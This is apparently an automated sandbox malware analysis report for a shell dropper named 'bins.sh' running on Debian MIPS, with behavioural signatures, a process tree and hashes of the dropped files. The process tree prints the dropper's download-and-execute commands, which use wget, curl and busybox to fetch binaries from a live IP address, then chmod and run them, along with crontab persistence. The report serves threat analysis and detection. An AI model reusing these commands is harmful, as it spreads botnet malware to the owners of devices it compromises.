Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    26/11/2024, 10:47

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    28dde49049a118c0f885cfad79f16e3a

  • SHA1

    d3a08ddf5320ee11f75b1d1aff7fb51ba3d4ea7e

  • SHA256

    145073114b8bc96b50de671b5b2ff9cc9da3620967e3228b6395fb82331a7a4d

  • SHA512

    40ab90fd82aceadfbd9598ea1465d293d03efadc589e158f7d24eb0b807a7d1a4e25a8cac3ca0cdda99f173f54a546942d140e353702fe1663d3f6ca8c7fb9d7

  • SSDEEP

    192:Bjj73NwwEttYL2L2LcLlLpLoXNtP4swediL2L2LcLlLpL4NtP4sOCl73Nwwg:Bjj73NwwE3Yi6oBNcXNtP4sl8i6oBNEi

Malware Config

Signatures

  • Contacts a large (1716) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:711
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:714
        • /usr/bin/wget
          wget http://216.126.231.240/bins/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
          • Writes file to tmp directory
          PID:716
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
          • Writes file to tmp directory
          PID:741
        • /bin/chmod
          chmod 777 AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
          • File and Directory Permissions Modification
          PID:746
        • /tmp/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          ./AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
          • Executes dropped EXE
          PID:748
        • /bin/rm
          rm AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
            PID:751
          • /usr/bin/wget
            wget http://216.126.231.240/bins/7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ
            2⤵
            • Writes file to tmp directory
            PID:753
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ
            2⤵
            • Writes file to tmp directory
            PID:791
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ
            2⤵
            • Writes file to tmp directory
            PID:793
          • /bin/chmod
            chmod 777 7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ
            2⤵
            • File and Directory Permissions Modification
            PID:800
          • /tmp/7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ
            ./7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ
            2⤵
            • Executes dropped EXE
            PID:801
          • /bin/rm
            rm 7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ
            2⤵
              PID:805
            • /usr/bin/wget
              wget http://216.126.231.240/bins/O7KHfST3d2brJGAUmqwehkuLAUG7siSued
              2⤵
              • Writes file to tmp directory
              PID:806
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/O7KHfST3d2brJGAUmqwehkuLAUG7siSued
              2⤵
              • Writes file to tmp directory
              PID:820
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/O7KHfST3d2brJGAUmqwehkuLAUG7siSued
              2⤵
              • Writes file to tmp directory
              PID:830
            • /bin/chmod
              chmod 777 O7KHfST3d2brJGAUmqwehkuLAUG7siSued
              2⤵
              • File and Directory Permissions Modification
              PID:831
            • /tmp/O7KHfST3d2brJGAUmqwehkuLAUG7siSued
              ./O7KHfST3d2brJGAUmqwehkuLAUG7siSued
              2⤵
              • Executes dropped EXE
              PID:832
            • /bin/rm
              rm O7KHfST3d2brJGAUmqwehkuLAUG7siSued
              2⤵
                PID:834
              • /usr/bin/wget
                wget http://216.126.231.240/bins/9MSoSMD43aSUKLM9GhcGzDrssi57jHIFcD
                2⤵
                • Writes file to tmp directory
                PID:835
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/9MSoSMD43aSUKLM9GhcGzDrssi57jHIFcD
                2⤵
                • Writes file to tmp directory
                PID:836
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/9MSoSMD43aSUKLM9GhcGzDrssi57jHIFcD
                2⤵
                • Writes file to tmp directory
                PID:837
              • /bin/chmod
                chmod 777 9MSoSMD43aSUKLM9GhcGzDrssi57jHIFcD
                2⤵
                • File and Directory Permissions Modification
                PID:838
              • /tmp/9MSoSMD43aSUKLM9GhcGzDrssi57jHIFcD
                ./9MSoSMD43aSUKLM9GhcGzDrssi57jHIFcD
                2⤵
                • Executes dropped EXE
                PID:839
              • /bin/rm
                rm 9MSoSMD43aSUKLM9GhcGzDrssi57jHIFcD
                2⤵
                  PID:841
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/Zb1fQVGeyPmTwHy3xsynqh6l842d0dKUq9
                  2⤵
                  • Writes file to tmp directory
                  PID:842
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Zb1fQVGeyPmTwHy3xsynqh6l842d0dKUq9
                  2⤵
                  • Writes file to tmp directory
                  PID:843
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/Zb1fQVGeyPmTwHy3xsynqh6l842d0dKUq9
                  2⤵
                  • Writes file to tmp directory
                  PID:844
                • /bin/chmod
                  chmod 777 Zb1fQVGeyPmTwHy3xsynqh6l842d0dKUq9
                  2⤵
                  • File and Directory Permissions Modification
                  PID:845
                • /tmp/Zb1fQVGeyPmTwHy3xsynqh6l842d0dKUq9
                  ./Zb1fQVGeyPmTwHy3xsynqh6l842d0dKUq9
                  2⤵
                  • Executes dropped EXE
                  PID:846
                • /bin/rm
                  rm Zb1fQVGeyPmTwHy3xsynqh6l842d0dKUq9
                  2⤵
                    PID:848
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/KujsTUpvBquaE9Kv8PS9JFStrnZokOm708
                    2⤵
                    • Writes file to tmp directory
                    PID:849
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/KujsTUpvBquaE9Kv8PS9JFStrnZokOm708
                    2⤵
                    • Writes file to tmp directory
                    PID:850
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/KujsTUpvBquaE9Kv8PS9JFStrnZokOm708
                    2⤵
                    • Writes file to tmp directory
                    PID:851
                  • /bin/chmod
                    chmod 777 KujsTUpvBquaE9Kv8PS9JFStrnZokOm708
                    2⤵
                    • File and Directory Permissions Modification
                    PID:852
                  • /tmp/KujsTUpvBquaE9Kv8PS9JFStrnZokOm708
                    ./KujsTUpvBquaE9Kv8PS9JFStrnZokOm708
                    2⤵
                    • Executes dropped EXE
                    PID:853
                  • /bin/rm
                    rm KujsTUpvBquaE9Kv8PS9JFStrnZokOm708
                    2⤵
                      PID:855
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/wnXOVFIAUxB3wCoDRmrZ4XHqokjpvsXHZp
                      2⤵
                      • Writes file to tmp directory
                      PID:856
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/wnXOVFIAUxB3wCoDRmrZ4XHqokjpvsXHZp
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:857
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/wnXOVFIAUxB3wCoDRmrZ4XHqokjpvsXHZp
                      2⤵
                      • Writes file to tmp directory
                      PID:858
                    • /bin/chmod
                      chmod 777 wnXOVFIAUxB3wCoDRmrZ4XHqokjpvsXHZp
                      2⤵
                      • File and Directory Permissions Modification
                      PID:862
                    • /tmp/wnXOVFIAUxB3wCoDRmrZ4XHqokjpvsXHZp
                      ./wnXOVFIAUxB3wCoDRmrZ4XHqokjpvsXHZp
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:863
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:865
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:866
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:867
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                • Reads runtime system information
                                PID:868
                          • /bin/rm
                            rm wnXOVFIAUxB3wCoDRmrZ4XHqokjpvsXHZp
                            2⤵
                              PID:870
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/Q50UTE1Ble0RfI33AaZIp0ImAVthYd3sgf
                              2⤵
                              • System Network Configuration Discovery
                              PID:873

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ

                            Filesize

                            127KB

                            MD5

                            89077b7bd4bcafca7713be43635c4862

                            SHA1

                            fc02edb8fba29ea8ee99e6157ef8560334530052

                            SHA256

                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                            SHA512

                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                          • /tmp/9MSoSMD43aSUKLM9GhcGzDrssi57jHIFcD

                            Filesize

                            107KB

                            MD5

                            eb9c3a0de91fcf16ba17cb24608df68c

                            SHA1

                            09d95a7d70d5e115d103be51edff7c498d272fac

                            SHA256

                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                            SHA512

                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          • /tmp/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH

                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          • /tmp/KujsTUpvBquaE9Kv8PS9JFStrnZokOm708

                            Filesize

                            141KB

                            MD5

                            3ca8decdb1e52c423c521bfff02ac200

                            SHA1

                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                            SHA256

                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                            SHA512

                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                          • /tmp/O7KHfST3d2brJGAUmqwehkuLAUG7siSued

                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          • /tmp/Zb1fQVGeyPmTwHy3xsynqh6l842d0dKUq9

                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          • /tmp/wnXOVFIAUxB3wCoDRmrZ4XHqokjpvsXHZp

                            Filesize

                            151KB

                            MD5

                            3c90d5820bddcf7c5d1bd21dfa49d958

                            SHA1

                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                            SHA256

                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                            SHA512

                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                          • /var/spool/cron/crontabs/tmp.Q8SwaZ

                            Filesize

                            210B

                            MD5

                            72ad2388a50d9e3a31d7191644013f89

                            SHA1

                            f4b99c7ea0c81f18143338a8bbab6ccac869eb65

                            SHA256

                            a6fe965a0d9eed4d7a207b1294063195136f0e158699abf706a19ec22f472fa7

                            SHA512

                            ce88a8d9889180a4856d60217cf0207763b28a8774ab75c558590162254e04584b20f4c1f3f0ed2e1d4d60a0ff89e97cacc6376e25079cfec560aab204a48145